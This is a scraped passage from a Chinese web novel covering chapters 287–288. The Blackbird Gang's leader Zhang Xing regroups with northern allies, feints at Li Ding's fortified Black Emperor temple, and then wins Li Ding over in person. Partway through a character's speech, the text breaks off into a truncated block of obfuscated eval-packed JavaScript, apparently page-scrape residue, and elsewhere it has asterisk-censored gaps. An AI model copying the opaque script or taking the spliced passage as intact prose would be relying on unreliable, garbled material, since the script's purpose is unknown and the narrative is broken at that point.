张行耐住性子,等身后许多人安静下来,方才继续含笑来言:“诸位兄弟,昨日到了兄弟们那里,便是我一个游子回了家,现在又回到这边,虽只隔了几里路,却是又要做回黜龙帮首席,再来交谈,就要严肃起来了要不诸位兄弟迟我几十息,等我去那里装模作样摆起首席的架子来,再去见我。” 众**笑,却也任由张行去了。 而片刻后,眼瞅着张行到了那旗帜下,翻身下马,然后接了一个白色短氅披上,背靠着泥山寻了个土窝坐下,再来招手,众人便再度蜂拥向前,而走到这片陆地上,摆脱了结冰的泥淖后,为首几人几乎不约而同的犹豫了一下,也不知道谁带的头,纷纷下马,只将马往一侧一赶,步行向前。 再往前走,不过四五十步,东面金光之下,众人看的清楚,张行端坐在土窝里,淤泥山四周头领、参军、军士姿态各异,却都自觉围拢过来,然后齐齐往这边来看: 这其中,不少人认得雄伯南,晓得这位天王如今是货真价实的天王,如今却只披着一个满是灰的白色短氅,坐在张行一侧,大马金刀来看众人; 还有几乎所有人都认识的谢鸣鹤,知道这是江东八大家出身的风流名士,修为风度都是天下一等一的人物,此番却为了黜龙帮四下奔走,随着众人渡苦海翻紫山,一路辛苦,连胡子都油了,现在更是有眼尖的人看到那胡子似乎又被火燎了,也披着一个短氅起身,然后靠着芦苇窝子来看这边;…. 甚至火堆旁还有一个年轻人,明显重伤,只卧在一个挂起来的网兜里,连头都不好抬,还是强行侧着头,露出满脸胡茬和一双目光炯炯的眼睛; 除此之外,还有明显不是善茬,但因为披着白色、黑色短氅而确定是头领的人或持长剑或抚盔甲,正在这几人周边或战或立,还有分不清是什么身份的人在那里摆弄什么绣花的手绢,摩挲什么雕花的镜子,更有人更换包扎伤口的衣甲,在火上用头盔烧水,在浅水那里清洗衣甲.此时全都定住,然后扭头来看。 便是张行本人,此时众人看的清楚,也果然眯着眼睛,面无表情,纹丝不动的在阳光下来看他亲自领回来的北面援军。 就好像什么东西让这些人定格了一样。 坦诚说,这些人多灰头土脸,衣甲不整,说一句狼狈不堪是足够的,更不要说入眼所见的伤亡与疲惫了。 但当此之众,不知道是怎么回事,即便是黄平这种自以为会坦荡无虞的、尉迟七郎这种勇猛无匹的、宇文万筹这种见多识广的、蓝璋这种心无杂念的、陆大为这种步步为营的,此时全都凛然起来。 这不是什么三辉四御显灵,也不是什么表演出来的气势实际上,所有人都瞬间意识到是怎么一回事了。 那就是他们面对的这些灰头土脸之辈,正是货真价实的,横行了半个天下,占据了河北、东境十余郡,公认天下反魏义军领袖的黜龙帮核心及其精华。 这不是一个人,这全天下数得着的强梁组织。 众人各自凛然,向前又走了二三十步,来到黜龙帮众人跟前,却无人再敢往前。 此时,张行终于开口,声音宏亮,夹着真气鼓荡,立即传遍了周围泽地,却还是身形不动:“诸位,黜龙帮不敢说全伙在此,但此地之人足以代表黜龙帮之根本,诸位远道而来专门救援,我等感激不尽,而若还有其余指教,还请上前来,黜龙帮愿闻其详!若没有,在下便要说些恳切言语了!” 北面援军面面相觑,还是无人敢开口,甚至有些面色发白不安之态。 与之形成鲜明对比的,乃除去前排几人,后面跟来的数百骑士,他们或近或远,要么攀高,要么垫脚,都来看这边黜龙帮众人形状。 淤泥山这边,徐大郎反应快,他先看了张行一眼,又看了下身后泥山上那面大旗,然后一个激灵,不禁在心中感慨:罢了! 罢了!罢了! 真也好,假也好,成也行,败也行,干吧!不就是这一辈子吗?跟他干了便是! 而觉悟到这一点后,他左右一瞟眼,忽然又意识到一个问题,却是毫不犹豫,同时不动声色,拎起手中惊龙剑,从还在发呆的程大郎身后越过去,然后挨着张行张首席另一侧拄着长剑肃立起来。 其余人,无论北面援军还是黜龙帮这边,或许心中都有事,居然无人察觉!PS:感谢slyshen老爷的又一盟.感激不尽! pt. ... 第二百八十七章山海行(34) 中午时分,黜龙军与北面援军合营,已经实际上断粮的黜龙军开始使用北面援军的补给、统一调配装备,并且开始重新统计战斗人员,头领们与援军首领们也开始讨论军情。 至于哨骑,只能说,从来就没有断过。 上午时分,哨骑便来报,说是方圆二三十里都未见到官军主力,确定薛常雄部往东走,罗术部往北走,冯无佚、王臣廓部往西北走,韩引弓部往西走,而白横秋的太原军则往东南走。 这当然是好消息。 不过,中午时分,一个坏消息便也传来……李定确定在昨日便回到了武安,但却不是一个人,他居然带回了部分武安军,而且汇集在了武安郡黑帝大观内。 “武安军全军有两万多人,假设现在有一万多在李定手里,里面还有一位仅次于宗师的高手,三人以上的凝丹……”马围脱口而言,便要背诵出武安军可能的兵力、修行者配置。 “不好办!”淤泥山下,拄着剑坐在泥窝上的徐世英直接打断了马围。“其实怎么算,武安军账面实力都不如我们这里合兵后的兵马,但双方对比之下有四个要害……其一,是武安军并非是一支偏门部队,军中阵容整齐、人员配置得力,而且训练有素;其二,是武安军多出于武安、襄国两郡,以及红山山民,算是本土作战;其三,黑帝大观是个大军营,不是城池,胜似城池,算是守;其四,这次战役,他们之前没有参与一次战斗,算是生力军。” 不光是北面援军的诸位,其余人也都恍然,这才是问题所在,以人员齐整训练有素对兵员将佐伤亡零落;以本土众志成城对客军来源驳杂;以守之器械工事完备对攻之缺器少粮;以生力军对被围困数月精疲力竭。 要知道,打仗的毕竟是人,人一旦附加了各种不利因素,很多东西就变得艰难起来。 不要说下面军士,这种情况下,很可能很多所谓高手,此时也撑不住了,凝丹高手被**箭射下来,百战勇士被一刀攮死的概率大大增加。 说白了,这个时候打不值得。 “那就不打?”张公慎插嘴来问。“先去晋北?” “不,我的意思是,现在还不能下结论。”徐世英复又摇头。“无论如何,杀个回马枪都是能出其不意的,出其不意就有可能有大的效果,尤其是在眼下这个战场局势大举变幻的局面下……三哥之前已经说的很清楚了,最好的结果是忽然回军,以李定难以理解的兵力和态势围住武安军,逼降他们;其次,万一不行,也可以迫使武安军收缩,然后咱们转向东面,从原来的战场逃回到平原,这样就省得绕个大圈子;最差,是再逃回来,从晋北走嘛……而现在,可以确定的是,武安军主动收缩到一个点上了,但不知道更南面的军情,万一南面还有东都军或者太原军张网以待就麻烦了。”…. “不大可能,他们粮食当时应该也快没了。”马围摇头道,却又立即否定了自己。“不过这种事情,哪里是猜度可以定的?” 众人一时发呆。 “我去一趟!”就在这时,王五郎忽然收回徐大郎身上的目光,主动开口,很显然,本来已经对徐大郎没有太多计较王五郎忽然又察觉到了一点什么。“我去一趟南面,天黑前回来……” “还是我去。”伍大郎截断对方。“我去一趟,我速度快。” “都去。”徐世英直接吩咐。“伍大郎去武安军南面,王五郎去东南面的旧战场,再来一个……贾大头领去西南面红山……确定武安军是刚刚自行脱离联军的孤军,咱们就可以试着回师!” 众人一面醒悟,一面却又对徐大郎这般主动且直接下令感到不太适应,尤其是几位年轻的大头领,唯独这个时候委实是非常之时,倒也来不及计较,却是纷纷看向了张行。 几位北面援军首领此时也不开口,也只是来看张行……有些东西不言自明,他们也是经验丰富之辈,当然能察觉到一些气氛和背后代表的东西,却有些松了口气的感觉。 “之前便说了,徐大郎管军务,我和雄天王不插嘴就按他的方略来做。”张行立即做了脱手掌柜兼撑腰之人。“就按他说的办!其余人继续点查部队,收拢溃兵!” “务必派出充足骑兵,**息,控制敌军哨骑。”徐世英随即追加。“借尉迟将军生力军,请你亲自带队去!” 尉迟七郎可没有那么多心思,此时得了令,反而振作,其余人也都奉命去忙。 而到了当日下午,日头尚在的时候,外出查探消息的三人便依次折回,带来了确切的情报。 “红山没有埋伏。”贾越言简意赅。 “东都军崩了,太原军在一路向南收拢部队,似乎有趁势攻击李龙头的意思,我分身乏术,而且估计已经来不及去通知了。”伍大郎明显有些焦躁。 “有没有去黑帝大观?”马围插嘴来问。 “没有,不敢暴露。”伍大郎立即作答。 “那就好。” “战场那边没人,除了些许武阳郡的民夫和本地百姓在捡拾残余军资,几乎空空荡荡。”王五郎等两人说完方才向张行汇报,却显得神情犹疑。 “红山没有埋伏是没问题的。”就在张行身侧坐着的徐世英蹙眉道。“太原军回身打李龙头是个大问题、天大的问题,但咱们鞭长莫及,而且正是因为他们要打,我们反而要趁机做点事情惊动他们才对……可战场那里是怎么回事?为什么没人锁这个口子?” “是因为东都军崩的太快?没人管?”伍大郎猜度道。 “那还有崔傥呢……他不派人维持?白横秋走前必然会有吩咐的吧?而且别人都好说,崔傥这次相当于叛,他知道我们不能容他的,怎么可能不上心?!”马围反驳道。…. “他自己未必觉得自己是叛。”崔肃臣低声给出了应和。“但也必然晓得我们不会放过他。” “应该是曹夫人和那个韩二郎。”程知理忽然插嘴。“我记得来的时候,魏公他们有言语,好像刚刚升了头领的韩二郎本是高鸡泊屯田的,所以窦总管力主,让曹夫人亲自过去协调,带领韩二郎再加上徐开通一个营,渡过清漳水,往高鸡泊来,崔傥身后遇袭,未必敢动……再说了,李四郎把武安军收拢到一处,对他自家是个好的,对崔傥却不免是个不合道理的铺设。” 在场众人会意。 只不过,这个会意注定是层次不同的。 北面援军大约听懂了,是黜龙帮势力大,外面还有层层呼应,是有许多兵马从外面牵扯到了散开的联军,使得这些个联军的组成势力散了以后也不好动弹;而黜龙军中则多晓得那位韩二郎是个什么情况,不由心生感慨,一位屯田的副屯长,修为不上路的那种,硬生生带着一群屯田兵挡住三波攻击,使得战局一直没有扩散,然后居然杀了一个凝丹,现在又看住了一位宗师?! 当然,也有个别人,他们虽然惊讶,却反而有一种果然如此的感觉。 说白了,苏靖方他们那次进来就告知了韩二郎的相关事端,然后虽然因为军情严肃,根本来不及思考,但真要现在被逼着想一想,却也通顺……人家韩二郎这个状态,固然是可遇不可求,但既然出现了,那就是运来天地皆同力,是天命地气附上去了,这个时候的韩二郎怕是天王老子都要高看一眼……更不要说,韩二郎本身就是清河本土人,而崔傥这位宗师偏偏根基也在清河本土,他们之间的相互影响决不是一个简单的宗师对不入流。 曹善成死后,清河郡经历了一场完全的反复,人心分野,地气分野,居然隐隐在这两个人身上形成了对照。 也是有趣。 除此之外,一些不方便说的,但少部分高层也知道的,比如程知理昨夜一来就告知了几位高层,魏玄定亲自带人去了武阳,陈斌、窦立德监督翟谦、夏侯宁远等主力准备**鄃县屈突达之类的讯息,此时就显得微不足道了。 因为并不能对眼下黜龙军突围出的主力造成直接影响。 战局很混乱,讯息完全不对称,现在这支仓促联合一起的部队只需要做好自己就行了。 “既然情报已经清楚了,回不回头?”王五郎眼看着徐大郎主导了军略,无奈催促了一句。 今天格外活跃的徐大郎意外的没有下定论,而是看向了张行:“我觉得可以去围武安。” “那就回头去围武安。”张行倒是毫不犹豫。 “现在我们有多少人?”徐大郎得了话,立即再问马围。 “一万人,牛达和王雄诞又在周边收拢了不少人,但伤病者不下两千……”马围立即汇报。…. 饶是早有准备,此刻听到这个最终数字,张行还是心中一紧……毕竟,徐世英跟周行范两个营是绕回来了,换言之,这很可能就是黜龙军被围主力的最终存续数字,实际减员达到了近三分之一。 张首席自是慈不掌兵心中一紧,而徐世英则面不改色看向了那位首席的舅舅:“黄将军,晋北与北地联军五千骑?” “是。”黄平平静作答。“路上其实抛洒了些,我估计四千五六还是足的。” 徐世英顿了一顿,看了眼雄伯南后立即做出了最终方案:“如此,我的意思是留下所有伤员,让他们在这里等着,其余人整理出一万两千骑步,天黑出发,乘夜向南,直奔武安郡黑帝大观,杀个回马枪!” 众人各自凛然,而雄伯南刚要点头却又想到什么,赶紧来问:“不对,若是我们无功而返或者逼降了李定都好说,若是要趁机转向逃回平原,这里的伤员又该如何?” 其余人也都反应过来,不由紧张。 徐大郎笑了笑,坦荡来答:“大陆泽在襄国郡、赵郡边界上,北面是冯无佚所在的赵郡,南面是李定的武安军,若我们真从南面见缝插针逃回去了,李定首当其冲,冯无佚势力弱小,两者又都动摇,如何敢来专门追杀我们的伤兵?” 雄伯南一时沉默下来。 周行范倒是率先赞同:“是这个道理,你们逃出去了,李定就有忌惮,我们反而安全。” 小周开了口,其余人便多颔首。 雄伯南略显艰难:“这个时候确实不该求全责备,但真有万一的时候,要让他们尽量往北面走,还要有些照量的。” “真到了那个时候,让尉迟将军引军回来,护送他们北上就是。”徐世英给出了妥协方案。 雄天王想了一想,也只好点头。 “那三哥还有什么言语要交代吗?”徐大郎环视一周,最后看向张行。 “有一个……”张行想了一想,看向了宇文万筹几人。“我见北地骑兵多有皮袍?晋北骑兵也有一些有?” “是……这才二月,出发时北地早晚还算冷。”宇文万筹立即应声。“晋北一个道理……张首席什么意思?” “已经用了北面诸位兄弟的粮水、军械,就不客气了,劳烦诸位兄弟再分一分皮袍子……”张行平静吩咐。“一个袍子切成两段、三段,不能穿就系在肩膀上,尽量每人都有,带给李四郎去瞧瞧!” “张首席好手段!”宇文万筹几乎是瞬间醒悟,然后干脆站起身来跺脚。“那就干!” 既然议定,便去准备,然后不等天色变黑,军队便已经动员起来。 这个时候,计有雄伯南以下,徐世英、王叔勇、伍惊风、莽金刚、谢鸣鹤、牛达、贾越、程知理、徐师仁、王雄诞、周行范、崔肃臣、马围、贾闰士等大小头领,再加上尉迟七郎、黄平、宇文万筹、蓝璋、陆大为等援军首领,除了周行范、贾闰士留下,其余尽皆被分派下去,起一万两千兵南下。…. 而一万两千兵中最少有六千马匹、骡子、叫驴等驮兽,此时多分派给之前突围辛苦的黜龙军,反倒是北面援军选择随马步行。 这还不算,按照张行的要求,北面援军将自己带来的皮袍尽数割裂,或一分为二,或一分为三,只是系在单个肩膀上来披挂。 出发时,太阳刚刚落山,双月却早已经不复之前几日那种圆润,而是各自露出大半阙,月光映照之下,尤其是一开始的时候,根本不用火把照明,全军便整齐有素分多路出大陆泽,远远望去,居然隐隐有几分与子同袍的气氛了。 大军发动,前期以军中数量不少的修行者为先导,迅速汇集。很快部队又寻到了浊漳水,便早早渡河,并沿着河道西侧往南进军。 就这样,部队行进顺利,午夜之前便已经离开了襄国郡范畴,进入了武安郡境内。 但好运气也到此为止了,进入武安郡不过数里,开始零星举火的黜龙军触发了武安军的预警体系,烽火居然在河北平原上燃烧传递了起来。 黜龙军众人看着烽火次第不断,面面相觑,却也只能硬着头皮前进。 这个时候,跟在旗帜后面的陆大为忍不住向身侧刚刚知道姓名的牛达来问:“牛大头领,敢问这个李定是个什么人物?” 单手纵马的牛达面色微变,扭头给出了答复:“张首席人称张三郎,李定人称李四郎,当日大魏没被那位圣人糟蹋到土崩瓦解的时候,他们两个在洛中,再加上白三娘还有个叫秦二的,还有现在占了东都的司马正,相互为友,号称知己,据说相互都认为除了这几人,天下其余人等皆不在话下……现在看来,虽是年轻人平日吹嘘,却居然也有几分道理。” 陆大为一时色变,却又忍不住来问:“若是这般,咱们过去,有几分胜算逼降他?” “不知道。”牛达想了一想,瞥着远处的烽火干脆来答。“不亲眼见一见,谁知道?” 陆大为终于无奈。 到了正午夜的时候,烽火就传递到了黑帝观,李定翻身起床,走出自己歇息的厢房,望着烽火,却丝毫没有惊讶,只是向匆匆赶来的苏靖方传令:“是张三来了,让你父亲与王副都尉各自分出两个五百主领兵巡视周边,让其余全军继续睡觉,四更再起来造饭,吃好了他们就来了,几位都尉、副都尉都不用过来……咱们以逸待劳便好。” 苏靖方心惊肉跳,如何不晓得自己恩师早有预料,否则何至于将全军都猬集到这一个点上?而且是那边一看到黜龙军突围出去就立即采取行动? 一时间,苏靖方只觉得自己在恩师与那师叔之间,真真宛若稚童,却是硬着头皮接下军令去了。 另一边,李定虽然下令让部队继续休息,他本人却再也睡不着了,却是负着手披着衣服,在黑帝观大殿周边往来行走,一会看看头顶双月,一会吹吹风,一会瞅瞅烽火,一会去听听部队动静。…. 偶尔驻足,却又忍不住去看大殿内的黑帝像,然后若有所思。 “四郎早就知道他要来?”终于,明显紧张起来的张十娘趁机来问。“若是张三来,四郎准备怎么办?” 张十娘问的并不突兀,也并不愚蠢,因为李定战后的表现委实显得自我矛盾……若是打,之前为什么不把白横秋留下来?难道是为了显自家本事?而若是……不打,为什么又要那么快将兵马夺回来,还将兵力集中起来? “为了吓到他。”李定幽幽以对。“把他顶回去!他兵力不足,又疲敝不堪,只是修行高手占优,但凡见到我严阵以待,就该老老实实的掉头从西面逃回平原,省的将黜龙帮打断了腰……我估计他也是这么准备的。”张十娘点点头,复又摇摇头:“若是他没被吓到,非要定生死怎么办?经这一遭,他还会如以往那般留有余地吗?” 李定沉默一时。 张十娘的问题依然不愚蠢,因为别人不清楚,他们夫妇比谁都清楚,虽然武安军算是生力军,算是以守对攻,占据了战术上的优势,但经此一战,这支军队也是明显被动摇过的,而且是多方向的动摇……心向黜龙帮的、心向白横秋的、只想保住自己实力的,暴露无疑,使得整个武安军都显得有些摇摇欲坠……说白了,这一战的影响是切实的,真要硬对硬,谁也不知道是什么结果! 赢了会怎么样? 输了会怎么样? 一念至此,李四郎不由叹了口气,然后回过头去,给出了自己的答复:“十娘,真要硬碰硬,我也不知道怎么办。” 张十娘本来想要说些什么,此时却忽然意识到了对方的纠结所在,心中醒悟之余,反而闭口不言。 只能说,身边能一直有一个可以坦诚相告一切的对象本身就很幸运。 当然,李定的迷茫和张十娘的忧惧注定无法持续太久,因为结局很快就会自动展现在他们面前,到了天亮之前的时候,连夜行军的黜龙军便已经抵达位于武安郡郡治外的黑帝大观前……黑帝大观既是作为军营来营建的,自然有它的门道,所谓东西两面隆起,形成拱形台地,四面皆有墙垒,尤其是南北两面的墙垒非但高大甚至是三层,再加上里面的建筑天然充当了望台、将台,却果然是个形胜之地。 李定没有搞夜袭,只是登上了大殿北侧的楼阁,冷冷观望。 黜龙军也没有发动进攻,而是在夜色中整队,收拢后方跟进的部队。 但是,随着太阳在东面渐渐显露,双方都意识到,他们小瞧对方了! “我小瞧张三了!他哪来的这么多兵马?!援军?!晋北的援军?!来了就直接掉头来打我们?”李定连番质问,却几乎是将事情瞬间理顺。“好本事!” “我小瞧李四了,武安军这一番折腾居然没有离队的成建制部队,几乎全都被他带回来了,也是他厉害。”张行听雄伯南说明大观内的兵马数量后,不由在初出的阳光下微微眯眼。“这黑帝观的形制应该天然助于结阵吧?”…. 雄伯南愣了一下,一时不知道该怎么答。 “我们结阵都是李四郎教的。”徐世英倒是干脆。“关键是现在怎么办?要打吗?” “按照原计划先劝降吧!”张行望着前方大观若有所思。“至于动手不动手,我再想想。” 其余人本能看向了谢鸣鹤。 孰料,谢鸣鹤想了一想,缓缓摇头:“不是我推脱,首席,既是劝降,有时候私人关系作用极大,你本就是李四郎至交,咱们这些年的俩家交往也都是你亲自来做,此时何妨去当面谈一谈?” “我大概会谈的,但要先有人给他算清楚账,把话先摊开。”张行明显犹豫了一下,然后才给出答复。“老谢你先去,主旨就一条,让他看清楚往后河北的局势,想想他还有没有资格维持独立!” 谢鸣鹤点点头,不再犹豫,直接腾空而起,标志性的长生真气配着灰扑扑的袍子,不再像个白鹤,倒像是只灰鹤……墙垒上此时早已经整齐布置了许多武安军士卒,这只灰鹤先飞到阵前呼喊,须臾片刻,便得到答复,却是再度腾起,落入黑帝大观中。 李定身侧此时也已经汇集了多名将领,脚下的空地中还有三队军士列阵,委实是半点破绽不漏,待见到谢鸣鹤飞入,也不做多余之事,只让人挥舞旗帜,居然任由对方来到楼上。 双方见面,李定咄咄逼人:“谢兄,张行竟然不敢亲自来吗?” “有些话,我来说就行了。”谢鸣鹤得了吩咐,也不客气,而是带着明显疲惫的面孔微笑来对。“李府君,能否让我开口?” 李定不置可否,倒是他身后几位都尉明显注意力集中了起来。 “要我说,李府君如今已经没了退路。”谢鸣鹤开口似乎便是大话。“因为此战前我们黜龙帮开仓放粮,尽收河北人心,而白横秋这么一来,反而使得天下人都晓得大河以北,其实就是这两家而已……换言之,不管白横秋是否无功而返,是否丢了些许良机,也不管我们黜龙帮是否被重创,又是否被分割开来,你们这些小势力都已经没了独立独行的本钱,因为河北人心波动,已经不在你们这些边角势力上面了!” 李定没有开口,他身后几人似乎想要驳斥,也被他抬手制止。 谢鸣鹤便继续来言:“其实,不是李府君无能,也不是李府君没有尽力,只不过依我看,李府君有两个大的失误,所以落入了下风,而群蛇相争化龙这种事情,是越大越快,越快越大,一旦落后,便极难再起了……这个道理,薛常雄那种脑子还在大魏朝倒没倒上面的老旧固执之人是不懂得,但李府君应该懂才对。” 李定没有理会后面的言语,反而问到:“哪两个失误?” “一个是李府君没有站准天下大义所在,不能膺服河北人心,大魏为祸河北到了极致,李府君囿于官职出身,打着暴魏旗号,而我们黜龙帮则是天下义军领袖,人心归属谁不言自明。”谢鸣鹤根本没有废话的意思,甚至有些言语急促。“另一个是李府君只仗着个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“能是能,但委实艰难。”徐世英也给了自己的答复。“至于火油,只是一个引战的便宜,不至于影响战局胜负……所以,我还是一开始的意思。” “那就是能打。”张行会意。“但是李定主动避战,还给了李龙头他们讯息,再加上此战一开始给我们报信的事情,不能不计算人家的恩义……我的意思是不打,你们几位大头领怎么说?” “不打!”谢鸣鹤率先表明态度。“李四郎态度坚决,这个时候打,只怕适得其反……先走。” “先走!”原本态度并不坚决的徐世英也开口应和。 程知理等人纷纷跟上,雄伯南也毫不犹豫放弃了作战。 唯独贾越与几位北面援军感到不理解,却没有反对,或者反对无效。 “那好,咱们走,往东去,从之前战场逃回平原。”说服了众人,张行立即催促。“尉迟将军也先跟我们去,在东面脱离了他们视野再分兵回转,不要露出破绽。” 尉迟七郎明显觉得有些泄气,只是颔首,却不应声。 就这样,已经走了一夜的大军直接转身,再度踏上了逃亡的道路……不敢说是失败,但张行回马枪的策略,最起码没有起到预想中的最佳效果。…. 黑帝大观中央大殿的北侧楼上,李定望着这一幕,居然说不清自己是什么心情。 就这么走了? 确实是走了,黜龙军突围出来的残部在北面援军的混合护卫下,转向东面,迎着早晨的太阳,丝毫不顾牲口开始倒毙,毫不犹豫的快速离开了黑帝观,而且越过了表明空虚其实是陷阱的武安郡郡城,消失在视野内。 武安军上下振奋。 但这支部队的首领却依然不能振奋,实际上,李四郎非但没有振奋高兴起来,反而失去了刚才的坚定,重新变得迷茫和忧惧起来,甚至更加严重。 只是,他如今也学的不露在外面罢了。 另一边,眼看着日头越来越高,张行带部队渐渐走出二三十里外,大约算了算路程和时间,他忽然勒马,然后回头看向了那些明显释然、焦急、不甘的头领与援军首领们,却只点了雄伯南、徐世英、谢鸣鹤、崔肃臣、马围等寥寥几人。 待到几人来到路旁树荫下,这位张首席更是语出惊人: “我回去一趟,劝一劝李四郎!” 徐世英只觉得有些眩晕,复又看雄伯南。 雄伯南也皱眉:“咱们已经诚心诚意的劝过了,他反而挡住了,这个时候再去劝他,还有什么用?” “李定这个人,是我生平所见难得的聪明人,最起码在军事形势上的见识和悟性超过我所见的所有人,**上虽然差了点,但也算优秀,他肯定已经清楚自己的局势,甚至在我们逃出去那一刻就已经意识到了结果,之所以不降,无外乎是他恃才傲世,心里那口气不能吐出来,所以才会匆匆摆出这副样子,不愿意让自己落到被人鄙夷的地步。”张行认真对着几人来言。“而刚刚我们其实已经**成功,无论如何,折返回来的勇气和援军上来便与我们宛若一体的团结他是看到了,老谢也肯定把话说明白了……现在将兵马撤离到不能威胁的距离,我再回去,说不得有奇效!” “是有几分这个意思。”谢鸣鹤点点头,若有所思。“张首席这才回去有几分把握?” “八分。”张行在黄骠马上笑道。“依着我看,他一开始就是围着当日战前与我约定的那个‘降’字来做防御的……而我此去,乃是个人上的回马枪,他若真无备,掏中了,也就成了。” “那可以做这个买卖。”雄伯南听到这里,毫不犹豫转变了立场。“他若来,以他的地盘和这次的手段、恩义,我觉得可以当龙头,他要面子,咱们给他足够大的面子!” “就是要这句话。”张行打量四面,点点头,不再犹豫。“我只一人去足够了!不管成不成,你们只继续向东,一路往清河、平原去汇集魏公他们!我叫你们过来,是怕说的话传开了,让李四郎觉得自己被拿捏受辱!”…. “好!”徐世英抢先一点头。“三哥放心,事到如今,尽可将部队托付给天王与我们。” 张行看了对方一眼,毫不犹豫转身打马折回。 这一走,原本面面相觑等待的头领与援军首领各自惊疑,却被雄伯南、徐世英、谢鸣鹤等人速速迎上。 一骑飞驰,就比大军行进快的多了,张行一路行进,迎面越过数拨武安军追出来的哨骑,片刻不停,只在正午时分便抵达了黑帝大观,然后却绕到南门,报上姓名张行张三郎,请求谒见李府君李四郎。 李定早下了楼,正在大殿前的广场上板着脸批复文书、布置军令,准备下午便出兵重新控制郡内要点,忽然闻得王臣愕亲自来报,却是当场受惊,将纸笔掷于案下。 没有人感到惊疑,因为此时此刻,周边人跟李定一样惊慌不知所措,唯独一个苏靖方,却不是不惊,而是早就麻了。 而李定回过神来,更是在座中苦笑:“何至于逼迫到这种程度?!” 周围人不敢接话。 半晌还是李定挥手:“让他来吧!” 然后便站起身来,在正午的太阳照射下往中央大殿而去。 不知道怎么回事,这位天之骄子,此世之潜龙,走到殿门处,一抬头,看到北方黑帝的塑像端坐在前,面无表情来看自己,却是心中翻滚,涌出一股无名之火来。 对视片刻,身后脚步声传来,这股无名之火反而愈盛。 下一刻,其人回身去看目光扫过自己妻子张十娘,然后缓缓伸出一只手来:“十娘,鞭子与我。” 张十娘不明所以,但还是将自己的金丝红绫长鞭取了出来,双手递给了明显情绪不对的丈夫,然后便后退一步,挡在廊下,以防着对方要对已经出现在视野中的张行做什么。 然而,李四接过金丝红绫鞭来,看都不看身后张行,反而箭步上前,冷冷来对着黑帝爷的塑像喝问:“黑帝爷,我有一事不明,我李定天生地载,有此昂藏之身藏天下兵甲之书,神仙真龙凡人豪杰又是算卦又是许诺,都说我是天生奇才,而天生奇才又当此乱世,为何无非常之运呢?前夜我便在这里做祈祷问你,昨夜又问,你都不应声,想来是我没有说清楚……现在我说的清楚,也请黑帝爷你告诉我到底是怎么回事?天生我才,是要我证位成龙?还是要我当个一统天下的陆上至尊?!” 跟在堂外的人已经听傻了,唯独张十娘瞪大眼睛,连连喘着粗气。 但那塑像果然纹丝不动,分毫不应。 李定见此,愈发愤恨:“你还不应我吗?!你若不应,那这个塑像便是个寻常的泥胎木偶,平白顶着你的名号受河北百姓百代景仰,我便替黑帝爷亲手鞭此木偶,以正视听!好也不好?!” 塑像还是不应。 李定冷笑一声,直接跃上供案,然后灌足真气,对着身前黑帝爷的塑像狠狠一鞭抽下,复又接二连三,直抽的这塑像木屑横飞,抽的门内外的武安军大小将领侍卫目瞪口呆两股战战。 倒是张行此时抵达,之前听了半截,此时看见这一幕,不由鼓掌来笑:“李四郎好气势!” 李定闻言,并不回头,而是定了一会,忽又一鞭抽在黑帝爷的面上,方才在案上站着回头,居高临下冷冷来问:“你是来再劝降的了?” “我是见李四郎豪气逼人,特来请你与我携手,剪除暴魏,安定天下,好使黜龙帮成一番大事。”张行昂然拱手入内。 李定愣了愣,忽然来笑:“既如此,你将黜龙帮首席让给我做如何?” “不可以。”张行平静以对。“你若来做,帮内人心不服,你可做一龙头,开设行台……李四郎,天下虽大,可你统兵在前,我耕耘在后,天下何处不可去?何必再犹疑?” 李定还要说话。 张行却抬高了音量,以手指向案上的对方,声振屋瓦:“不瞒李四郎,当日伏牛山中一谈,我便认定了,你是要承一统四海之运的天下奇才,今日还是如此,故此,呼云君一去不返,我来寻你!黑帝爷不应你,我来应你!这红山之下,正该是你兴天下一统之运的启程处……李四郎,何必再犹疑?李四郎,李定,你还不应我吗?!” 李定定在案上,一时愣住,手中金丝红绫鞭居然滑落在地。 . ... 第二百八十八章 山海行(35) 李定扔下金丝鞭,定定立在案上,一时欲言,却居然显得有些不知所措。 张行见状,晓得自己突袭成功,乃是毫不犹豫,主动上前,一只脚踩到供案边缘,便伸手抓住了对方手臂,径直将对方给捉了下来,复又揽着推着对方往大殿外行去。 来到外面廊下,李定似乎还是浑浑噩噩,张行却不管不顾,只拽着身边人往四面来看,昂然来笑:“诸位,事情已经定了!而今日事定,那天下说不得也算定了!” 说着,张行便将二人牵着的手给举了起来。 且说,李定将武安军几乎全军汇集在此,刚刚他更是在广场安排军务,故此,几乎军中这两个字多余所有五百主以上皆在此地,复又几乎全员跟到了廊下,见到了刚刚李定发怒失态,也见到了张行力劝以及眼下的场景。 自然也晓得这番话是什么意思。 然而,与之前张行止住了李定以至于几乎是所有人都如释重负不同,现在随着这话说出口,一众武安军骨干反应却又不同……苏睦、苏靖方父子领着一波校尉、五百主在一边,几乎是立即朝着二人俯首行礼;而王臣愕为首的部分军官则明显犹疑,并看向了李定。 于是,张行也看向了被自己捉着的李定。 李定沉默片刻,终于开口:“你这人惯会说些大话,这个样子如何就能定天下了?” 周围人闻言再无疑虑,便是王臣愕等人也都即刻躬身行礼,以示服从。 “当日大周前身的那个混血部落,自苦海南下,辛苦建制,花了许多功夫数代人才坐定了晋北三郡,更换了血脉,但谁都知道,自此后,数朝风云,其内里就已经定了。”张行依旧是那副什么都懂的姿态,好像回到了与李定在东都高谈阔论粪土当年万户侯的时候。“这次两家合一,其实类似。” “怎么类似?”李定似乎真的有些不解。“你莫再说什么咱们两人联手天下无敌之类的话了,今日谢鸣鹤都替你骂清楚了,个人再强在众人面前也只是无力,否则我又何至于落到眼下局面?” “还是有些说法的。”张行继续挽着对方,就在廊下脱口而对,却是对着廊下诸武安军将领来言的。“一则,你李四郎也不必过于妄自菲薄,人从众是对的,可你今日不就是弃了个人从众吗?你这天下奇才有了众作倚仗,专心军务,必能横行天下;二则,两家合一,最直接的便是河北局势大变,咱们这么快解决问题,其他诸如薛、罗等人,恐怕都措手不及,河北局势说不定会迅速抵定,河北定,自然会影响天下局势;三则,李四郎你有没有想过一件事……你是第一个带着成建制部队与地盘来入我黜龙帮的关陇贵种!仅此一条,足以告诉天下人,黜龙帮早非当日东境一团,乃是要卷起天下英杰成天下事!” 